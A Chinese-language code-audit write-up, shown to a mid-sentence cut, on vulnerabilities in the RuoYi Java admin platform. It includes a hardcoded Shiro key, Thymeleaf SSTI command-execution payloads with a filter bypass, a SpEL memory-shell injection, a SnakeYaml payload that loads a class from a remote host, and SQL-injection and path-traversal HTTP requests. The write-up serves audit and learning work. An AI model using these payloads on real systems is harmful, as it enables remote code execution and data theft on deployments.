[email protected]深蓝实验室重保天佑战队
本文部分知识点来源于互联网,在此感谢各位师傅!新手上路,各位师傅多多指点。
RuoYi 是一个 Java EE 企业级快速开发平台,基于经典技术组合(Spring Boot、Apache Shiro、MyBatis、Thymeleaf、Bootstrap),内置模块如:部门管理、角色用户、菜单及按钮授权、数据权限、系统参数、日志管理、通知公告等。在线定时任务配置;支持集群,支持多数据源,支持分布式事务。
内置功能模块
JDK >= 1.8 (推荐1.8版本)
Mysql >= 5.7.0 (推荐5.7版本)
Maven >= 3.0
若依后台管理系统V4.2
1、导入数据库
create datavase ry; 创建名为ry的数据库 use ry; 切换使用ry数据库 source C:/Users/27721/Desktop/RuoYi-v4.2/RuoYi-v4.2/sql/ry_20200323.sql source C:/Users/27721/Desktop/RuoYi-v4.2/RuoYi-v4.2/sql/quartz.sql
2、修改 src\main\resources\application-druid.yml 配置文件中数据库账号密码。
本项目使用Maven构建的。因此我们直接看pom.xml文件引入了哪些组件。通过IDEA打
开该若依,发现本项目采用了多模块方式。因此每个模块下都会有一个pom.xml,项目
最外层的pom.xml为父POM。我们可以通过 pom.xml 或者 External Libraries 来
确定引入组件的版本,具体整理如下:
组件名称 | 组件版本 | 是否存在漏洞 |
---|---|---|
shiro | 1.4.2 | 存在 |
thymeleaf | 2.0.0 | 存在 |
druid | 1.1.14 | 不存在 |
mybatis | 1.3.2 | 不存在 |
bitwalker | 1.19 | 不存在 |
kaptcha | 2.3.2 | 不存在 |
swagger | 2.9.2 | 不存在 |
pagehelper | 1.2.5 | 不存在 |
fastjson | 1.2.60 | 存在 |
oshi | 3.9.1 | 不存在 |
commons.io | 2.5 | 存在 |
commons.fileupload | 1.3.3 | 不存在 |
poi | 3.17 | 存在 |
velocity | 1.7 | 存在 |
snakeyaml | 1.23 | 存在 |
通过版本号进行初步判断后,我们还需再进一步验证。
Shiro密钥硬编码
通过查看pom.xml文件,我们了解到本套项目使用了Shiro组件。我们进一步查看Shiro配置文件时,发现了Shiro密钥硬编码写在了代码文件中。代码位于
RuoYi-v4.2\ruoyi-framework\src\main\java\com\ruoyi\framework\config\ShiroConfig.java
可以直接通过搜索关键字setCipherKey或CookieRememberMeManager,来看看密钥是否硬编码在了代码中,第331行。如下图所示:
Shiro反序列化漏洞
Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。
由于AES加解密的秘钥被硬编码在代码中,这意味着有权访问源代码的任何人都知道默认加密密钥是什么,因此,攻击者可以创建一个恶意对象并对其进行序列化,编码,然后将其作为cookie发送,然后Shiro将解码并反序列化,从而导致恶意代码执行。
通过查看pom.xml文件我们确定了Shiro版本为1.4.2。Shiro 1.4.2版本对于Shiro反序列化来说是个分水岭。由于CVE-2019-12422漏洞的出现,也就是Shiro Padding Oracle Attack漏洞。Shiro在1.4.2版本开始,由AES-CBC加密模式改为了AES-GCM。所以我们在做漏洞验证时,要将payload改成AES-GCM加密模式。
漏洞验证
既然已经得到了密钥为“fCq+/xW488hMTCD+cmJ3aQ==”,那这里就直接用工具打一波试试啦,试不出来再审代码。
到Thymeleaf组件版本为 2.0.0 ,该版本存在SSTI(模板注入)漏洞。
关于什么是Thymeleaf,推荐学习这篇文章:
https://waylau.gitbooks.io/thymeleaftutorial/content/docs/introduction.html
常用payload
__$%7BT(java.lang.Runtime).getRuntime().exec(%22id%22)%7D__::.x http://127.0.0.1:8080/doc/;/__$%7BT%20(java.lang.Runtime).getRuntime().exec(%22whoami%22)%7D__::main.x
1、打回显内存马
https://www.anquanke.com/post/id/198886
https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/
两篇相关的文章,具体关键要素如下:
改良 SPEL 执行 Java 字节码的 Payload
解决BCEL/js引擎兼容性问题 解决base64在不同版本jdk的兼容问题 可多次运行同类名字节码 解决可能导致的ClassNotFound问题
最终 Payload :
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}
2、Spring 层内存马
c0ny1师傅所写的内存马见https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/#0x03-Spring%E5%B1%82%E5%86%85%E5%AD%98%E9%A9%AC,大体的逻辑就是利用 HandlerMapping 注册一个映射关系,通过映射关系让 HandlerAdapter 执行到内存马,最后返回一个 HandlerResultHandler 可以处理的结果类型。c0ny1师傅的内存马中HandlerMapping 选用了RequestMappingHandlerMapping,然后RequestMappingHandlerMapping 的获取使用的方式是从 SPEL 的上下文的 bean 中获取,具体见文章内容。最终的结果就是得到了一个 @RequestMapping("/*") 等效的内存马。
但由于这道题里面并没有用 Spring cloud gateway 组件,所以原代码中利用 org.springframework.web.reactive.HandlerMapping 来注册 registerHandlerMethod 就会报错找不到对应的类。
3、registerMapping 注册 registerMapping
在 spring 4.0 及以后,可以使用 registerMapping 直接注册 requestMapping ,这是最直接的一种方式。
registerMapping 的原型函数如下
public void registerMapping(T mapping, Object handler, Method method) { if (this.logger.isTraceEnabled()) { this.logger.trace("Register \"" + mapping + "\" to " + method.toGenericString()); } this.mappingRegistry.register(mapping, handler, method); }
将我们执行命令的方法注册进去即可,也就是:
registerMapping.invoke(requestMappingHandlerMapping, requestMappingInfo, new SpringRequestMappingMemshell(), executeCommand);
参考文章:https://forum.butian.net/share/1922
Server-Side Template Injection简称SSTI,也就是服务器端模板注入。
所谓的模板即为 模板引擎 。
本项目使用的Thymeleaf是众多模板引擎之一。还有其他Java常用的模板引擎,如:
velocity,freemarker,jade等等。
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板加上用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。
https://www.mi1k7ea.com/2019/11/29/JavaSnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
模板注入(SSTI)漏洞成因,是因为服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。
Thymeleaf模板注入形成原因,简单来说,在Thymeleaf模板文件中使用th:fragment、 , th:text 这类标签属性包含的内容会被渲染处理。并且在Thymeleaf渲染过程中使用 ${...} 或其他表达式中时内容会被Thymeleaf EL引擎执行。因此我们将攻击语句插入到 ${...} 表达式中,会触发Thymeleaf模板注入漏洞。
如果带有 @ResponseBody 注解和 @RestController 注解则不能触发模板注入漏洞。因为@ResponseBody 和 @RestController 不会进行View解析而是直接返回。所以这同样是修复方式。
我们在审计模板注入(SSTI)漏洞时,主要查看所使用的模板引擎是否有接受用户输入的地方。主要关注xxxController层代码。
在Controller层,我们关注两点: 1、URL路径可控。 , 2、return内容可控。
所谓可控,也就是接受输入。对应上面两个关注点,举例说明如下。
1、URL路径可控
@RequestMapping("/hello") public class HelloController { @RequestMapping("/whoami/{name}/{sex}") public String hello(@PathVariable("name") String name, @PathVariable("sex") String sex){ return "Hello" + name + sex; } }
2、return内容可控
@PostMapping("/getNames") public String getCacheNames(String fragment, ModelMap mmap) { mmap.put("cacheNames", cacheService.getCacheNames()); return prefix + "/cache::" + fragment; }
视角转回到本项目。
根据上面两个关注点,对 若依v4.2 进行了一番探索。并没有发现存在Thymeleaf模板注入漏洞点。
但在若依v4.7.1 发现存在 return内容可控 的情况。为了学习该漏洞,下面以若依v4.7.1版本进Thymeleaf模板注入代码审计学习。
在若依v4.7.1的 RuoYi-v4.7.1\ruoyiadmin\src\main\java\com\ruoyi\web\controller\monitor 下多了一个CacheController.java 文件。该文件下有多个地方 Return内容可控 ,如下图所示:
简单理解:接收到 fragment 后,在return处进行了模板路径拼接。
根据代码我们知道根路径为 /monitor/cache ,各个接口路径分别为 /getNames , /getKeys , /getValue 。请求方法为 POST ,请求参数均为fragment 。
漏洞验证:
Thymeleaf模板注入payload举例:
return内容可控: __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getI nputStream()).next()}__::.x URL路径可控: __${T(java.lang.Runtime).getRuntime().exec("touch test")}__::.x
本次漏洞验证我在Windows环境下进行的。
注意: 若依v4.7.1 搭建部署与 若依v4.2 相同,数据库导入务必使用 sql 目录
下的 ry_20210924.sql 和 quartz.sql 。先导入 ry_20210924.sql 。
我们以 getKeys 接口为例,该漏洞点为 return内容可控 ,具体漏洞验证如下。
①、正常启动项目,进入后台。我们发现在 系统监控下有个缓存监控 的功能,和代码审计发现的 CacheControlle 代码文件中功能注释一样。初步确定两者相同。
②、访问缓存监控功能。进入后,分别点击 缓存列表 和 键名列表 旁的刷新按钮,会分别想 getNames , getKeys 接口发送数据。如下图所示:
访问http://127.0.0.1/monitor/cache/,抓“刷新”按钮的数据包:
③、将数据包发送到Repeater模块,在 fragment 参数后构造攻击payload为 ${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc.exe") }::.x ,对paylod进行URL编码后。发送数据包。响应报错,而且并没有弹出来计算 器。如下图所示:
找了半天原因,发现 若依v4.7.1 版本使用的是 Thymeleaf3.0.12 版本。
官方在这个版本进行了一些限制,比如使用new实例化,静态方法调用都被限制了。还有其他一些限制,详细可看https://github.com/thymeleaf/thymeleaf/issues/809 。下图为谷歌机翻,大致可以看一下
因此,我们刚开始用的Payload是被限制了。
经过一顿操作猛如虎,其实谷歌就能有。
我们将Payload改造一下,如 ${T (java.lang.Runtime).getRuntime().exec("calc.exe")} 。在T和(之间多加几个空格即可。
对Payload进行URL编码后,放入 fragment 参数中,可以看到弹出了计算器,如下图所示:(注意这里的cacheName不能为空,可以随便输入一个)
触发点二:/demo/form/localrefresh/task
在src/main/java/com/ruoyi/web/controller/demo/controller/DemoFormController.java文件中还有一个触发点:
抓包改为POST,其实这里不编码也可以成功,${T (java.lang.Runtime).getRuntime().exec("calc.exe")}
至此,漏洞验证部分结束。
希望大家在这基础上,进一步学习Thymeleaf模板注入漏洞。直接推荐一篇文章:
https://xz.aliyun.com/t/9826
https://forum.butian.net/share/1922
本项目使用了 Fastjson 1.2.60 , Fastjson <= 1.2.68 都是存在漏洞的。
已确定了Fastjson版本存在问题,进一步寻找触发Fastjson的漏洞点。我们关注两个函数 parse 和 parseObject 。
搜索关键字发现本项目使用了 parseObject ,如下图所示:
我们发现本项目使用的是 JSONObject.parseObject 方法,与第三套迷你天猫商城中 JSON.parseObject() 方法有所不同。JSONObject是一个继承自JSON的类,当调用JSONObject.parseObject(result)时,会直接调用父类的parseObject(String text)。两者也没什么区别,一个是用父类去调用父类自己的静态的parseObject(String text),一个是用子类去调用父类的静态parseObject(String text),两者调的是同一个方法。也是可以触发Fastjson反序列化漏洞的。
下面我们追踪下流程,看看是否有接收用户输入的地方。
①、双击进入 VelocityUtils.java ,第66行。代码如下图所示:
②、从代码中看到 JSONObject.parseObject(options); 需要一个参数为
options ,该参数通过第65行发现来自 genTable.getOptions(); ,ctrl加鼠标左键跟进, getOptions() 返回值为 options ,如下图所示:
③、继续跟进 options ,根据作者注释理解这是一个 其它生成选项 的字段。如下图所示:
④、我们回过头来,追溯下功能点。跟进 setTreeVelocityContext ,发现是prepareContext 中调用了它,如下图所示:
其中涉及到了一个判断条件,跟进一下,看如何触发该条件。跟进
GenConstants.TPL_TREE ,看到定义了一个常量字符为 tree 。如下图所示:
再跟进下 tplCategory ,该值来自于 genTable.getTplCategory(); 如下图所示:
进入 genTable.getTplCategory(); 后,看到 getTplCategory() 返回值就是tplCategory ,如下图所示:
继续跟进 tplCategory ,根据作者注释,这应该是一个使用模板的字段。该字段应该有两个值,一个是 crud ,一个是 tree 。所以我们再找到功能点时,应该将这个字段值设为 tree ,如下图所示:
中间穿插跟了下判断条件,我们继续追踪功能点。
⑤、回到 prepareContext() 方法,我们看下谁调用了他,发现
GenTaleServiceImpl.java 中第187行和250行都有所调用,如下图所示:
⑥、单击进入 GenTaleServiceImpl.java 第187行,发现是 previewCode 方法使用了 VelocityUtils.prepareContext(table); ,其中 table参数 来自
genTableMapper.selectGenTableById(tableId); 根据 tableId 查询表信息返回的数据,如下图所示:
也就是说,我们只能操控 tableId 参数。继续跟踪一下 previewCode ,如下图所示:
⑦、(此处省略跳转到genTableService,无关紧要)ctrl加鼠标左键点击
previewCode 继续跟进,跳转到了 GenController 层,发现是 preview 使用了genTableService.previewCode(tableId); 。如下图所示:
并且通过注释信息了解到该功能是 预览代码 ,路径是/tool/gen/preview ,从路径中获取 tableId 。
既然这样,这条链是没办法利用Fastjosn反序列化漏洞了。
梅开二度,找条别的链,继续试试。
追踪了刚才搜索的四个点,发现 GenTaleServiceImpl.java 第286行这个参数是我们可以操控的。
追踪流程如下。
①、 GenTaleServiceImpl.java 第286行JSONObject.parseObject(options);处理 options 参数,该值来自 String options = JSON.toJSONString(genTable.getParams()); ,如下图所示:
②、跟进 genTable.getParams() ,跳转到了 BASEEntity.java 代码中,因为Gentable 继承 BASEEntity 。根据判断条件,如果 params不等于null 的话,直接返回 params 。跟进 params ,注释表明该字段为 请求参数 ,并且 params 被定义成 Map<String, Object> ,可以理解为params字段中可以传任何类型的值在里面。如下图所示(为便于截图展示,删除了部分代码):
③、回到 GenTaleServiceImpl.java ,查看谁调用了 validateEdit ,跳转到了IGenTaleService 第99行处,如下图所示:
④、继续跟进 validateEdit ,跳转到了 GenController 层第142行,如下图所示:
至此,我们将这条链追踪完了。确定了功能点为代码生成处的 修改保存生成业务 ,我们主要关注 params 这个字段。
SnakeYaml在Java中,是用于解析YAML格式的库。
在第三方组件漏洞审计处,确定了SnakeYaml版本为1.23,被定为存在漏洞。
事实上,SnakeYaml几乎全版本都可被反序列化漏洞利用。
SnakeYaml支持反序列化Java对象,所以当 Yaml.load() 函数的参数外部可控时,攻击者就可以传入一个恶意类的yaml格式序列化内容,当服务端进行yaml反序列化获取恶意类时就会触发SnakeYaml反序列化漏洞。全局搜索漏洞函数关键字,发现本项目并没有使用到 Yaml.load() 函数,
如下图所示:
该漏洞可以和本项目定时任务配合打出RCE效果。在这之前,请可拓展学习下篇文章,补一下基础。
https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
审计定时任务
在项目简介中,我们了解到本项目中有使用到定时任务功能。 又根据官方文档的文件结构处,我们了解到本项目定时任务功能在 ruoyi-quartz 模 块下,使用的是 quartz 框架。如下图所示:
进入 ruoyi-quartz 模块 src\main\java\com.ruoyi.quartz 下,我们先关注controller 文件代码。我们知道 Controller 也是控制层,主要负责具体的业务模块流程的控制,简单说就是与前台互交,接受前台传来的参数后,再向 Service层 传输。
打开 controller 文件下,有两个代码文件,分别是 SysJobController 和SysJobLogController 。根据代码注释了解了大致作用,如下图所示:
现在,我们对 SysJobController下的run方法 进行追踪,根据注释该方法为任务调 度立即执行一次,如下图所示:
Ctrl加鼠标左键点击 jobService.run(job) ,进入Service层后,无其他执行代码,继续跟踪到实现层,最终代码位于 RuoYi-v4.2\ruoyiquartz\src\main\java\com\ruoyi\quartz\service\impl\SysJobServiceImpl.java 第180行到188行。如下图所示:
第182,183行作用为通过调度任务ID查询调度信息。
第185行,实例化了 JobDataMap 。 JobDataMap 通过它的超类org.quartz.util.DirtyFlagMap 实现了java.util.Map 接口,你可以向 JobDataMap 中存入键/值对,那些数据对可在你的 Job 类中传递和进行访问。这是一个向你的 Job 传送配置的信息便捷方法。简单说,Job 运行时的信息保存在 JobDataMap 实例中。
最终在第187行,使用 scheduler.triggerJob(JobKey var1, DataMap var2) 为触发标识JobDetail(立即执行)。 JobDetail 用来描述Job的实现类及其它相关的静态信息,如Job名字、描述、关联监听器等等信息。其中 triggerJob() 方法需要两个参数,分别为 Jobkey 和 dataMap 。 dataMap 来自上面输入的运行时信息。而此处的 Jobkey 是JobDetail创建的的唯一标识。简单说,到了这就开始执行定时任务
了。
但最终方法的调用是在 QuartzDisallowConcurrentExecution 或QuartzJobExecution 中用JobInvokeUtil.invokeMethod(sysJob); 反射完成的。
QuartzDisallowConcurrentExecution 或 QuartzJobExecution 两者区别根据代码注释可以知道一个禁止并发执行,一个允许并发执行。这两个参数也是可以从前端中设置的。但不论那种,最终都是调用的 JobInvokeUtil.invokeMethod(sysJob); 。
进入 JobInvokeUtil.invokeMethod(sysJob); ,最终方法实现如下图所示:
解读一下。
①、第25行到28行,为获取处理数据,打个端点可以直观看出来,如下图所示(建议自己动手操作看一下):
②、第30到39行,有一个判断。若依支持两种方式调用,分别为支持 Bean 调用和Class 类调用。此处判断我理解为通过 beanname 判断是否为有效的classname。也就是调用目标字符串是使用 bean 方式调用,还是使用 Class 方式调用。
此处,可以创建两种方式的目标字符串后,在 if(!isValidClassName(beanName)) 处打个断点,分别执行跟踪一下,就能看明白了。
另一种调用方式,大家动手自己打个断点操作一下。进入管理系统,访问 系统监控 -定时任务 ,选择bean方式调用的任务,点击 更多操作 - 执行一次 。
至此,定时任务流程到这就结束了。他是如何RCE的呢?
漏洞简述
在对定时任务代码审计时发现该功能存在漏洞。在 添加任务->调用目标字符串处可操作class类,通过代码审计发现使用的反射方式,也就是说目标class类存在漏洞的话即可 利用反射触发RCE漏洞。
漏洞验证
在代码审计处,我们知道如果是调用class类,最终执行为 Object bean = Class.forName(beanName).newInstance(); 。 问题来了,如果此处想要成功实例化并且RCE的话,那么必须满足几个条件:
1、类的构造方法为Public 2、类的构造方法无参 3、调用目标字符串的参数为:支持字符串,布尔类型,长整型,浮点型,整型 4、调用目标方法除了为Public,无参,还需要具有执行代码/命令的能力
有的朋友一开始会想到调用 java.lang.Runtime.getRuntime().exec("") 。但经 过上面条件的梳理,发现该类不满足条件,因为他的构造方法是private。
在组件检测时发现了本项目使用了 SnakeYaml 。经过学习我们知道,该组件只要可以 控制 yaml.load() 即可触发反序列漏洞。 经过探索学习, SnakeYaml的yaml.load() 是满足以上条件的,具体操作如下。
基础验证
①、先登录DNSlog平台,获取一个DNSlog地址。
②、然后进入后台,访问 系统监控-定时任务 功能,点击新增,在目标字符串下添加如 下内容(即攻击payload):
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["ftp://此处填入DNSlog地 址"]]]]')
③、点击确定后,在该页面点击 更多操作-立即执行 后,即可在DNSlog处看到探测信 息,如下图所示:
利用工具进一步攻击
推荐一款若依一键利用工具。项目地址: https://github.com/passer-W/Ruoyi-All 根据该工具介绍如下图所示:
①、打开该工具后,填写一些配置,其中包括目标URL和Cookie,如下图所示:
②、然后点击确定,即开始漏洞检测。存在漏洞提示如下图所示:
POST /system/role/list HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Content-Length: 152 Origin: http://127.0.0.1 DNT: 1 Connection: close Referer: http://127.0.0.1/system/role Cookie: JSESSIONID=d87f8245-697f-4f62-94f3-072abe50be83; Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin roleName=&roleKey=&status=0¶ms%5BbeginTime%5D=¶ms%5BendTime%5D=&pageSize=10&pageNum=1&orderByColumn=roleSort&isAsc=asc¶ms%5BdataScope%5D=*
单点漏洞代码审计首当其冲当然要先看SQL注入漏洞是否存在,全局搜索关键字 $ ,并限定文件类型为 .xml ,发现 sysDeptMapper.xml 和 sysUserMapper.xml 有存在SQL注入的地方,如下图所示:
①、点击进入 SysRoleMapper.xml ,SQL注入点在第58行,使用 $ 直接拼接了参 数,如下图所示:
②、点击左侧箭头快速跳转到DAO层(IDEA中需要安装Free Mybatis plugin插件),如下 图所示 :
③、键盘按住Ctrl加鼠标左键,点击 selectRoleList ,查看谁调用了它。最终来到 SysRoleServiceImpl 的实现层,如下图所示:
④、进入 SysRoleServiceImpl 后,再回溯到 SysRoleService 层,可使用左侧快 速跳转按钮。或者选中 selectRoleList 后使用快捷键 ctrl+u ,如下图所示:
⑤、键盘按住Ctrl加鼠标左键,点击 selectRoleList ,回溯到 Controller 层,最 终发现是 SysRoleController 调用了这个方法,如下图所示:
⑥、点击进入,最终定位到src\main\java\com\ruoyi\web\controller\system\SysRoleController.java ,第58行和第68行都有调用,如下图所示:
⑦、键盘按住Ctrl加鼠标左键,点击 SysRole ,进入看看定义了哪些实体类,其中发现了 DataScope ,如下图所示:
这里学个小知识:
一对一映射,规定一个用户只能对应一个角色,其实在实际的RBAC权限系统中,一个用户往往对应多个角色,然后每个角色用对应多个权限,基于实际需求,现在通过用户-角色-权限这种一对多的关系来说明一对多映射实现方式。
一、collection 集合的嵌套结果映射
和association类似,集合的嵌套结果映射就是指通过一次 SQL 查询将所有的结果查询出来,然后通过配置的结果映射,将数据映射到不同的对象中去 。
在SysUser类中增加 List<sysrole> roleList 属性用于存储用户对应的多个角色。如下:</sysrole>
⑧、回顾追溯流程
回顾下整理流程,如下所示:sysRoleMapper.xml -> SysRoleMapper.java -> SysRoleServiceImpl.java -> ISysRoleService.java -> SysRoleController.java->SysRole.java
sysRoleMapper.xml:注入点
SysRoleMapper.java:DAO层
SysRoleServiceImpl.java:执行 ISysRoleService实体类
ISysRoleService.java:Service接口类
SysRoleController.java:控制器
SysRole.java:定义实体类
这里再强调一下之前说过的请求过程:
简单说,我们从 XxxxMapper 文件追踪到 Controller 层,主要就是在找漏洞入口。顺带看看整个流程是否对参数有特殊处理。
⑨、汇总信息
最后,我们将追溯的过程,以及有用的信息汇总一下。
通过Controller层,我们可以知道,漏洞URL路径为 /system/role/list
通过Service层和Controller层的注释,我们大致知道该功能位于角色信息处。
访问WEB页面,发现名叫角色管理的功能。 当然了,如果我们没有找到功能,也完全可以自己构造数据包。
①、访问 角色管理 功能,通过点击下面的各个按钮,并配合BurpSuite抓包,发现 搜索 功能,会向 /system/role/list 接口发送数据,如下图所示:
②、发送到Repeater模块,发现请求Body中没有 DataScope ,没关系,我们照葫芦画 瓢自己添加上,最终如下图所示:
③、输入 单引号(') ,验证是否存在漏洞,发现返回了报错信息,如下图所示:
④、直接上SQLMAP,最终结果如下图所示:
这个注入点有好几个地方可以调用利用,可以自行研究,这里只举出一条
POST /system/dept/list HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 41 Origin: http://127.0.0.1 DNT: 1 Connection: close Referer: http://127.0.0.1/system/dept Cookie: JSESSIONID=197e09c3-c430-457e-89dc-700649018614 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin deptName=&status=¶ms%5BdataScope%5D=*
注入点位置:src/main/resources/mapper/system/SysDeptMapper.xml文件第51行,且追溯流程和注入一类似,这里就不过多描述了,如下:
注意,这里我们来到了控制器,控制器里可以对照到URL路径/system/dept/list,接下来去查看SysDept中包含了哪些实体类,发现并没有dataScope
这里我们先去后台抓包,后台->部门管理->搜索按钮,抓包如下:
可以看到这里默认只有deptName=&status=这两个参数,并且在实体类中也并没有dataScope,所以这里我们自己构造一下,把他加上去:
直接丢SQLmap,如下:
注入点位置:src/main/resources/mapper/system/SysUserMapper.xml文件第83行。
后台位置:用户管理->搜索按钮
POST /system/user/list HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Content-Length: 175 Origin: http://127.0.0.1 DNT: 1 Connection: close Referer: http://127.0.0.1/system/user Cookie: JSESSIONID=197e09c3-c430-457e-89dc-700649018614 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin deptId=&parentId=&loginName=&phonenumber=&status=¶ms%5BbeginTime%5D=¶ms%5BendTime%5D=&pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc¶ms%5BdataScope%5D=*
注入点位置:src/main/resources/mapper/system/SysUserMapper.xml文件第100行。
后台位置:角色管理->更多操作->分配用户
POST /system/role/authUser/allocatedList HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Content-Length: 114 Origin: http://127.0.0.1 DNT: 1 Connection: close Referer: http://127.0.0.1/system/role/authUser/1 Cookie: JSESSIONID=197e09c3-c430-457e-89dc-700649018614 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&roleId=1&loginName=&phonenumber=¶ms%5BdataScope%5D=*
注入点位置:src/main/resources/mapper/system/SysUserMapper.xml文件第118行。
后台位置:角色管理->更多操作->分配用户->添加用户这个数据包
POST /system/role/authUser/unallocatedList HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Content-Length: 114 Origin: http://127.0.0.1 DNT: 1 Connection: close Referer: http://127.0.0.1/system/role/authUser/selectUser/1 Cookie: JSESSIONID=197e09c3-c430-457e-89dc-700649018614 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&roleId=1&loginName=&phonenumber=¶ms%5BdataScope%5D='
需要登陆
GET /common/download/resource?resource=/profile/../1.txt HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=fa4b3bdd-e507-462a-a155-a2adf4842470; DNT: 1 Connection: close Upgrade-Insecure-Requests: 1
一般开发人员也都有比较好的习惯,对于注释方面写的也比较清楚。
我拿到一个项目,习惯大致浏览下项目代码(主要看注释),梳理下功能。
在本项目中,发现存在一处下载功能。
代码位于 RuoYi-v4.2\ruoyiadmin\src\main\java\com\ruoyi\web\controller\common\CommonController.java 第96行-第111行。通过注释一目了然该部分代码的作用。如下图所示:
通过全局搜索关键字 resourceDownload ,发现并没有其他功能调用他。
既然这样,只能分析代码,自己构造请求了。
①、首先,漏洞代码点位于第110行,使用了 FileUtils.writeBytes() 方法输出指定文件的byte数组,即将文件从服务器下载到本地。其中该函数中有两个参数,分别为 downloadPath 和 response.getOutputStream() 。
getOutputStream() 方法用于返回Servlet引擎创建的字节输出流对象,Servlet程序可以按字节形式输出响应正文。
②、 downloadPath 来自第103行,是由 localPath 和StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX); 组成。
StringUtils.substringAfter() 方法为取得指定字符串后的字符串。 resource是请求中接收参数的字段。 Constants.RESOURCE_PREFIX 为设置的常量 /profile ,主要作用为资源映射路径的前缀。
③、 localPath 来自第101行注释为 本地资源路径 ,通过打个端点,我们可以看到localPath: D:/ruoyi/uploadPath ,是从src\main\resources\application.yml 配置文件中第12行文件路径中获取的。
这里关于路径单独把代码拿出来再说一遍:
